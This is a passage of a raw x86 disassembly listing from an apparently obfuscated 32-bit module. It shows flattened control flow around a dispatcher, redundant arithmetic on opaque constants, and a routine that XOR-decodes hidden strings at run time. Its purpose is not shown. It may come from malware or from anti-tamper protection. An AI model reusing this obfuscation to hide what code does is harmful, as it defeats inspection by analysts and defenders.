xor esi, 0x4c042edb
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x4c042edb
or ecx, 0x4c042edb
imul ecx, edx
add ecx, eax
mov esi, 0xffffffff
xor esi, 0x244410e9
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x244410e9
or ecx, 0x244410e9
imul ecx, edx
add ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x5a0b65c4
or edx, 0x5a0b65c4
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5a0b65c4
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xdaed7799
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xf32393fb
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x43f4b370
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x43f4b370
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xfa6c7582
xor edx, edx
div ecx
imul eax, eax, 0x230215c9
add eax, 0x61477bab
add eax, 0x89dd25a3
sub eax, 0x61477bab
mov ecx, eax
xor ecx, 0x25cb5d5f
mov edx, 0xffffffff
xor edx, 0x25cb5d5f
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x9f1c3ab
sub eax, 0xb16aaed5
xor eax, 0x64fb42b5
xor eax, 0x7ff33561
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9d7dcdfc
mov edx, 0xffffffff
xor edx, 0x9d7dcdfc
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0x4c1e78e5
or ecx, 0x4c1e78e5
add eax, ecx
sub eax, 0x45126a1e
add eax, 0x462ec292
or eax, 0x651cb1fd
mov ecx, 0x7a05d0a4
xor edx, edx
div ecx
imul eax, eax, 0x9888c398
mov ecx, 0x413eb5c7
xor edx, edx
div ecx
imul eax, eax, 0x3ceb69c
mov esi, 0xffffffff
xor esi, 0xe027eff9
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe027eff9
or eax, 0xe027eff9
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0xb4], ecx
mov esi, 0xffffffff
xor esi, 0xc1dfb244
mov edx, 0xffffffff
xor edx, 0x6dadd3c8
and ecx, 0x6dadd3c8
and eax, edx
mov edi, esi
and edi, 0x6dadd3c8
mov ebx, edx
and ebx, 0xc1dfb244
or ecx, eax
mov eax, dword [ebp - 0xb4]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x6dadd3c8
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0x294bd206
or ecx, 0x294bd206
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x39295173
mov ecx, 0xffffffff
xor ecx, 0x10dff124
or eax, edx
or ecx, 0x10dff124
xor eax, 0xffffffff
and eax, ecx
sub eax, 0x76050943
add eax, 0x3ce7215d
add eax, 0x76050943
mov ecx, 0x91647e71
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x762d7340
mov esi, 0xffffffff
xor esi, 0x762d7340
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x762d7340
or eax, 0x762d7340
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x5b244267
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5b244267
or eax, 0x5b244267
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x6de1dd2e
xor ecx, 0xffffffff
or eax, 0x6de1dd2e
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x518dcc05
add eax, ecx
add eax, 1
or eax, 0x3e06c55c
mov ecx, 0x29e99fef
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
sub edx, 0xc0137b6c
and edx, 0x3baba170
mov edi, 0xffffffff
xor edi, 0xd336df03
mov esi, edx
and esi, edi
mov ecx, edx
or ecx, edi
xor ecx, 0xffffffff
imul ecx, esi
mov esi, edx
and esi, 0xd336df03
or edx, 0xd336df03
imul edx, esi
add edx, ecx
mov ecx, edx
and ecx, 0x72d9554d
or edx, 0x72d9554d
add ecx, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0x90696d63
add edx, ecx
xor ecx, ecx
sub ecx, edx
sub ecx, 0xdb6b8666
imul edi, ecx, 0x1ee7743d
mov esi, 0xffffffff
xor esi, 0x6d3854c9
mov edx, edi
and edx, esi
mov ecx, edi
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0x6d3854c9
or edi, 0x6d3854c9
imul edi, edx
add edi, ecx
and edi, 0xaaa0fa3b
xor ecx, ecx
sub ecx, 0x235ed712
add edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x6b50e46e
mov esi, 0xffffffff
xor esi, 0x6b50e46e
and edi, esi
mov edx, 0xffffffff
xor edx, 0xe19676a9
and edx, 0x6b50e46e
and esi, 0xe19676a9
or ecx, edi
or edx, esi
xor ecx, edx
or ecx, 0x2aebf905
mov edx, ecx
xor edx, 0x6a0ec645
xor edx, 0xffffffff
and edx, 0x6a0ec645
shl edx, 1
sub edx, 0x6a0ec645
sub ecx, edx
add ecx, 0xd9c2d3af
mov edx, ecx
xor edx, 0x24b9c6f6
xor edx, 0xffffffff
or ecx, 0x24b9c6f6
and ecx, edx
mov edi, ecx
and edi, 0x37591b84
or ecx, 0x37591b84
add edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xc6a3445f
mov esi, 0xffffffff
xor esi, 0xc6a3445f
and edi, esi
mov edx, 0xffffffff
xor edx, 0x59c0dc1f
and edx, 0xc6a3445f
and esi, 0x59c0dc1f
or ecx, edi
or edx, esi
xor ecx, edx
mov esi, ecx
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xacd33f0a
and esi, edx
or ecx, 0xacd33f0a
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
mov ecx, 0x59e3af22
mov edx, 0x708fb414
cmp esi, 0xc9cdfa38
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov ecx, dword [ebp - 0x6c]
mov edi, dword [0x101d2a84]
mov esi, dword [0x101d2a88]
mov eax, edi
xor eax, 0xffffffff
and eax, 0xe1bd781d
mov ebx, 0xffffffff
xor ebx, 0xe1bd781d
and edi, ebx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xe1bd781d
and esi, ebx
or eax, edi
or edx, esi
xor eax, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0x8c858fe4
mov edi, 0xffffffff
xor edi, 0x8c858fe4
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0x8c858fe4
or eax, 0x8c858fe4
imul eax, esi
add eax, edx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7f42a170
mov esi, 0xffffffff
xor esi, 0x7f42a170
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
and eax, 0xf35a8162
mov esi, 0xc1a22774
xor edx, edx
div esi
mov edx, eax
mov edi, 0xffffffff
xor edi, 0x745d939a
mov esi, edx
and esi, edi
mov eax, edx
or eax, edi
xor eax, 0xffffffff
imul eax, esi
mov esi, edx
and esi, 0x745d939a
or edx, 0x745d939a
imul edx, esi
add edx, eax
mov eax, edx
and eax, 0xd609762e
shl eax, 1
add edx, 0xd609762e
sub edx, eax
mov eax, edx
xor eax, 0x371c7b28
xor eax, 0xffffffff
and eax, 0x371c7b28
shl eax, 1
sub eax, 0x371c7b28
sub edx, eax
xor edx, 0x4fbfd998
mov eax, edx
and eax, 0x9ddeab8f
shl eax, 1
add edx, 0x9ddeab8f
sub edx, eax
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edx, 0xd1c2d078
or edx, 0xd1c2d078
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edx, eax
and edx, 0x395ac277
xor eax, 0x395ac277
or edx, eax
mov eax, edx
and eax, 0x89a209c7
shl eax, 1
add edx, 0x89a209c7
sub edx, eax
xor edx, 0x2510a116
mov esi, edx
xor esi, 0xffffffff
and esi, 0x5ca5070e
mov edi, 0xffffffff
xor edi, 0x5ca5070e
mov eax, edx
and eax, edi
imul eax, esi
mov esi, edx
and esi, 0x5ca5070e
or edx, 0x5ca5070e
imul edx, esi
add edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xc8c33ee7
mov esi, 0xffffffff
xor esi, 0xc8c33ee7
and edx, esi
or eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x715b7df0
mov esi, 0xffffffff
xor esi, 0x715b7df0
and eax, esi
sub eax, edx
xor eax, 0x199f78f9
or eax, 0xc9f7fa7c
mov edi, 0xffffffff
xor edi, 0x57ab195a
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x57ab195a
or eax, 0x57ab195a
imul eax, esi
add eax, edx
mov edx, eax
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x79c6c5f5
or edx, esi
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x79c6c5f5
or eax, esi
xor edx, 0xffffffff
xor eax, 0xffffffff
or edx, eax
mov eax, edx
and eax, 0x4a6471e
xor eax, 0xffffffff
add edx, 0x4a6471e
add edx, 1
add edx, eax
mov eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x4be98d85
or eax, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x4be98d85
or edx, esi
and eax, edx
xor eax, 0xffffffff
mov esi, 0x39ec347b
xor edx, edx
div esi
mov edx, eax
mov eax, 0xffffffff
xor eax, 0x403d928c
xor esi, esi
sub esi, 1
sub eax, esi
sub edx, eax
mov eax, edx
and eax, 0xac17e660
xor eax, 0xffffffff
add edx, 0xac17e660
add edx, 1
add edx, eax
add edx, 0x49008be2
xor eax, eax
sub eax, 0xad3f19d4
add edx, eax
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
mov edx, 0xffffffff
xor edx, 0xb8c9fd05
mov esi, 0xffffffff
xor esi, 0xb8c9fd05
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
mov edi, 0xffffffff
xor edi, 0x7e5805db
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x7e5805db
or eax, 0x7e5805db
imul eax, esi
add eax, edx
sub eax, 0x7d9fd558
mov esi, 0xe84c82a2
xor edx, edx
div esi
mov edx, eax
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xe3eeee71
mov esi, 0xffffffff
xor esi, 0xe3eeee71
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
add eax, 0x81c4140f
add eax, 0x9f85f696
sub eax, 0x7aec44f0
imul eax, eax, 0x68766b8b
mov edx, eax
xor edx, 0x7fb5539a
mov esi, 0xffffffff
xor esi, 0x7fb5539a
and eax, esi
shl eax, 1
sub eax, edx
xor eax, 0x3ff74da2
mov esi, 0x890a9729
xor edx, edx
div esi
mov edx, eax
and edx, 0x20de43f
shl edx, 1
xor eax, 0x20de43f
add eax, edx
mov esi, 0xa6b3dd01
xor edx, edx
div esi
mov edx, eax
or edx, 0x551d81a4
xor edx, 0x366d2624
mov eax, edx
or eax, eax
xor eax, 0xffffffff
mov esi, 0x1620e80c
or esi, 0x1620e80c
xor esi, 0xffffffff
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edx, 0x1620e80c
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov esi, 0xa3205b88
xor edx, edx
div esi
sub eax, 0x26e50e0c
mov edx, eax
xor edx, 0x938b7818
xor edx, 0xffffffff
or eax, 0x938b7818
and eax, edx
mov edi, 0xffffffff
xor edi, 0xfea67d71
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0xfea67d71
or eax, 0xfea67d71
imul eax, esi
add eax, edx
and eax, 0x84520a49
and eax, 0xc502a9ea
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xe4980dac
mov edx, 0xffffffff
xor edx, 0x3b269b3
or eax, esi
or edx, 0x3b269b3
xor eax, 0xffffffff
and eax, edx
and eax, 0xa71a2c7
add eax, 0xef5e9d5c
mov esi, eax
xor esi, 0xffffffff
and esi, 0xae6817b0
mov edi, 0xffffffff
xor edi, 0xae6817b0
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0xae6817b0
or eax, 0xae6817b0
imul eax, esi
add eax, edx
mov edx, eax
and edx, 0x28d1fa56
xor edx, 0xffffffff
add eax, 0x28d1fa56
add eax, 1
add eax, edx
xor edx, edx
sub edx, 0xbb2d8508
add eax, edx
and eax, 0x55aa47c8
mov esi, 0xf5290e34
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x1c]
and esi, 0x7a7b74eb
add esi, 0x711a3926
add esi, 0x7f62993c
sub esi, 0x711a3926
mov dword [ecx], 0
mov ecx, 0x59e3af22
mov edx, 0x32747df1
cmp esi, 0xd4798e44
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x8a27d0ab
jmp 0x100b81ba
mov eax, dword [0x101d2a8c]
or eax, dword [0x101d2a90]
imul ecx, eax, 0xbca8b0b1
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7ae81fee
and eax, edx
or ecx, 0x7ae81fee
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x881a9ab6
add eax, ecx
add eax, 1
mov ecx, eax
and ecx, 0x8bad1de5
shl ecx, 1
add eax, 0x8bad1de5
sub eax, ecx
mov ecx, 0x29371e58
xor edx, edx
div ecx
and eax, 0x3ec9588c
imul eax, eax, 0xb1fc425b
mov ecx, 0x3d71729d
xor edx, edx
div ecx
add eax, 0xbe3ff15a
add eax, 0x7e4960b6
add eax, 0x234219ba
add eax, 0xfa6a2225
sub eax, 0x234219ba
mov ecx, 0x2a31319a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xc005e366
or ecx, 0xc005e366
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
and eax, 0xa610e574
imul ecx, eax, 0xfe0e7227
and ecx, 0xff1c9412
mov eax, 0xffffffff
xor eax, 0xbc9131af
add ecx, eax
add ecx, 1
mov edx, 0xffffffff
xor edx, 0xc131330a
mov eax, ecx
xor eax, edx
and eax, ecx
and eax, 0xf55bd6df
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6532f67a
or ecx, edx
and eax, 0x6532f67a
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xd4fd2afa
mov esi, 0xffffffff
xor esi, 0xd4fd2afa
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xd4fd2afa
or ecx, 0xd4fd2afa
imul ecx, edx
add ecx, eax
sub ecx, 0xcf34373a
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xc0], eax
mov esi, 0xffffffff
xor esi, 0xd3236d91
mov edx, 0xffffffff
xor edx, 0x30cd3069
and eax, 0x30cd3069
and ecx, edx
mov edi, esi
and edi, 0x30cd3069
mov ebx, edx
and ebx, 0xd3236d91
or eax, ecx
mov ecx, dword [ebp - 0xc0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x30cd3069
and ecx, edx
or eax, ecx
or eax, 0xc06ed497
mov edx, 0xffffffff
xor edx, 0x3d168263
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3d168263
add eax, edx
sub eax, ecx
and eax, 0x28d4a806
and eax, 0x2e49c248
xor eax, 0x4976fd8e
mov ecx, 0x95520ba9
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xbc], eax
mov esi, 0xffffffff
xor esi, 0x55e97408
mov edx, 0xffffffff
xor edx, 0xd40cf23a
and eax, 0xd40cf23a
and ecx, edx
mov edi, esi
and edi, 0xd40cf23a
mov ebx, edx
and ebx, 0x55e97408
or eax, ecx
mov ecx, dword [ebp - 0xbc]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xd40cf23a
and ecx, edx
or eax, ecx
add eax, 0x2fd08798
sub eax, 0x4e4c215e
sub eax, 0x2fd08798
mov ecx, 0xf4afa914
xor edx, edx
div ecx
xor eax, 0x755f8c77
sub eax, 0x31440c99
mov ecx, eax
xor ecx, 0x49930f35
xor ecx, 0xffffffff
and ecx, 0x49930f35
shl ecx, 1
sub ecx, 0x49930f35
sub eax, ecx
sub eax, 0xa5526cab
sub eax, 0x6c2bc4c3
xor eax, 0xc021972e
imul eax, eax, 0x2ba84aba
sub eax, 0x9e8de442
mov ecx, 0x61b1e1ed
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x1beca07a
sub ecx, 0x778b6e5b
or ecx, 0x15b05644
or ecx, 0xb1348ae
mov eax, ecx
and eax, 0xbb51e640
or ecx, 0xbb51e640
add eax, ecx
mov ecx, eax
and ecx, 0x91ef2288
shl ecx, 1
xor eax, 0x91ef2288
add eax, ecx
mov ecx, eax
xor ecx, 0xb168f7b3
mov edx, 0xffffffff
xor edx, 0xb168f7b3
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xef365b3e
xor edx, edx
div ecx
mov ecx, 0xca61e12c
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x64e7815d
sub ecx, 0x6e5e9f4c
sub ecx, 0x64e7815d
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x20a0d767
mov edx, 0xffffffff
xor edx, 0x20a0d767
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x8b03d422
mov esi, 0xffffffff
xor esi, 0x8b03d422
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x8b03d422
or ecx, 0x8b03d422
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, 0x281ec4d8
add ecx, eax
mov eax, ecx
and eax, 0xed01f75c
xor ecx, 0xed01f75c
or eax, ecx
mov ecx, 0xa02e28eb
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul esi, ecx, 0xe50e612e
and esi, 0x340e4522
mov edx, esi
xor edx, 0xffffffff
and edx, 0x40a64cce
mov edi, 0xffffffff
xor edi, 0x40a64cce
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x40a64cce
or esi, 0x40a64cce
imul esi, edx
add esi, ecx
and esi, esi
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x52a790bf
mov edx, 0xffffffff
xor edx, 0x52a790bf
or ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
mov ecx, 0x7a30e0bf
mov edx, 0x84f2215e
cmp esi, 0x79dc12dd
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d2a94]
mov esi, dword [0x101d2a98]
mov edx, esi
xor edx, 0xffffffff
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, esi
add eax, edx
sub eax, ecx
xor eax, 0xcdaf68c2
and eax, 0x10d63ab1
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9a45f697
mov edx, 0xffffffff
xor edx, 0x9a45f697
and eax, edx
sub eax, ecx
mov ecx, 0x651cb61c
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x2be02a8c
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x4b641c1f
mov esi, 0xffffffff
xor esi, 0x4b641c1f
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4b641c1f
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x9c9fd115
xor ecx, ecx
sub ecx, 0xed49ab45
sub eax, ecx
mov ecx, 0xd888370a
xor edx, edx
div ecx
sub eax, 0x3cceee3a
sub eax, 0xbbd52776
add eax, 0x3cceee3a
sub eax, 0xd815dbb0
imul ecx, eax, 0x65c20781
or ecx, 0x4096e0f
mov eax, ecx
and eax, 0xe5ec2cdb
or ecx, 0xe5ec2cdb
add eax, ecx
imul eax, eax, 0xef1a2f1d
xor eax, 0xb78e8ea4
imul eax, eax, 0xa525d4f
mov esi, 0xffffffff
xor esi, 0x6b107129
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6b107129
or eax, 0x6b107129
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x89a372c6
add eax, ecx
add eax, 0x54f57ab5
and eax, 0xafdc6573
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x233f6cf2
add eax, ecx
mov ecx, eax
and ecx, 0x7b2f0b4b
shl ecx, 1
xor eax, 0x7b2f0b4b
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6bffc96f
mov ecx, 0xffffffff
xor ecx, 0xfca58456
or eax, edx
or ecx, 0xfca58456
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x4400f257
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x3c74e0b2
mov esi, eax
xor esi, ecx
and esi, eax
mov eax, esi
xor eax, 0xf25ede41
xor eax, 0xffffffff
or esi, 0xf25ede41
and esi, eax
add esi, 0x4aefa4fb
add esi, 0xce56479c
sub esi, 0x4aefa4fb
mov eax, esi
xor eax, 0xffffffff
and eax, 0xe0b2b003
mov ecx, 0xffffffff
xor ecx, 0xe0b2b003
and esi, ecx
sub esi, eax
mov ecx, 0xffffffff
xor ecx, 0xec4a8f81
mov eax, esi
and eax, ecx
mov ecx, esi
xor ecx, 0xec4a8f81
add esi, ecx
sub esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x6b75ea34
mov edx, 0xffffffff
xor edx, 0x6b75ea34
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x25b18d11
and ecx, 0x6b75ea34
and edx, 0x25b18d11
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0x92f01f47
sub eax, 0x188ea35b
or eax, 0x67a19983
add eax, 0xf29c6bdb
or eax, 0xef004147
mov ecx, 0x4dcb74d0
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x1b844ee5
xor ecx, 0xffffffff
add eax, 0x1b844ee5
add eax, 1
add eax, ecx
xor ecx, ecx
sub ecx, 0x16e9ac05
add eax, ecx
mov ecx, 0xee4c4aea
xor edx, edx
div ecx
imul eax, eax, 0x1ea96b53
xor eax, 0xb703d91c
mov ecx, 0x82c95d59
xor edx, edx
div ecx
mov esi, eax
add esi, 0xe76a074b
mov ecx, 0xffffffff
xor ecx, 0x2e7985c5
mov eax, esi
and eax, ecx
mov ecx, esi
xor ecx, 0x2e7985c5
add esi, ecx
sub esi, eax
xor esi, 0xb7a1cd6d
or esi, esi
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xb72d786b
mov ecx, 0xffffffff
xor ecx, 0xb72d786b
and eax, ecx
xor esi, 0xffffffff
xor eax, 0xffffffff
and esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x489d3933
mov ecx, 0xffffffff
xor ecx, 0x489d3933
and esi, ecx
sub esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xb5aa7b05
mov ecx, 0xffffffff
xor ecx, 0xb5aa7b05
and esi, ecx
sub esi, eax
or esi, 0x93ac06cd
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xa04befe8
mov edx, 0xffffffff
xor edx, 0xa04befe8
and esi, edx
mov eax, 0xffffffff
xor eax, 0x185a3c67
and eax, 0xa04befe8
and edx, 0x185a3c67
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x59686622
mov edx, 0xffffffff
xor edx, 0x59686622
and ecx, edx
or eax, ecx
imul ecx, eax, 0x49620e2e
and ecx, 0x231c796d
mov esi, 0xffffffff
xor esi, 0x188f5c1e
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x188f5c1e
or ecx, 0x188f5c1e
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd0e7076b
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd0e7076b
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xf18f59d7
xor edx, edx
div ecx
mov ecx, 0xfc00a34c
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x93ab5074
mov ecx, 0xffffffff
xor ecx, 0xc836ecc8
or esi, edx
or ecx, 0xc836ecc8
xor esi, 0xffffffff
and esi, ecx
mov ecx, 0xffffffff
xor ecx, 0x40943e8c
add esi, ecx
add esi, 1
mov ecx, 0x45d1a3de
mov edx, 0x84f2215e
cmp esi, 0x99148931
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x2f1f3a59
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov dword [ebp - 0xc4], ecx
mov dword [eax], 0x6bb399d0
jmp 0x100b81ba
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1017afaa
mov eax, dword [ebp - 0xc4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x101d4d50]
mov dword [eax], 0x4d2c6c6f
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov cl, byte [0x101d11f0]
mov dl, cl
and dl, 0x3a
shl dl, 1
add cl, 0x3a
sub cl, dl
mov byte [0x101d1210], cl
mov cl, byte [0x101d11f1]
xor cl, 0xd9
mov byte [0x101d1211], cl
mov cl, byte [0x101d11f2]
mov dl, cl
and dl, 0x10
shl dl, 1
add cl, 0x10
sub cl, dl
mov byte [0x101d1212], cl
mov dh, byte [0x101d11f3]
mov cl, dh
xor cl, 0xff
and cl, 0x83
mov ch, 0xff
xor ch, 0x83
and dh, ch
mov dl, 0xff
xor dl, 0xf3
and dl, 0x83
and ch, 0xf3
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d1213], cl
mov cl, byte [0x101d11f4]
mov dl, cl
and dl, 0x8d
shl dl, 1
add cl, 0x8d
sub cl, dl
mov byte [0x101d1215], cl
mov dword [eax], 0xe6677957
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov cl, byte [0x101d11f5]
xor cl, 0xc9
mov byte [0x101d1216], cl
mov cl, byte [0x101d11f6]
xor cl, 0x2b
mov byte [0x101d1217], cl
mov cl, byte [0x101d11f7]
xor cl, 0x61
mov byte [0x101d1218], cl
mov cl, byte [0x101d11f8]
xor cl, 3
mov byte [0x101d1219], cl
mov cl, byte [0x101d11f9]
xor cl, 0xf4
mov byte [0x101d121a], cl
mov cl, byte [0x101d11fa]
xor cl, 0x9b
mov byte [0x101d121b], cl
mov dl, byte [0x101d11fb]
mov cl, dl
xor cl, 0xff
and cl, 0x5d
mov ch, 0xff
xor ch, 0x5d
and dl, ch
or cl, dl
mov byte [0x101d121c], cl
mov cl, byte [0x101d11fc]
xor cl, 0x2c
mov byte [0x101d121d], cl
mov cl, byte [0x101d11fd]
xor cl, 0xd4
mov byte [0x101d121e], cl
mov cl, byte [0x101d11fe]
xor cl, 0xa5
mov byte [0x101d121f], cl
mov cl, byte [0x101d11ff]
xor cl, 0x39
mov byte [0x101d1220], cl
mov cl, byte [0x101d1200]
xor cl, 0x5c
mov byte [0x101d1221], cl
mov dl, byte [0x101d1201]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb5
or cl, ch
mov ch, 0xff
xor ch, 0xb5
mov dh, 0xff
xor dh, 0xb5
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101d1222], cl
mov cl, byte [0x101d1202]
mov dl, cl
and dl, 0x67
shl dl, 1
add cl, 0x67
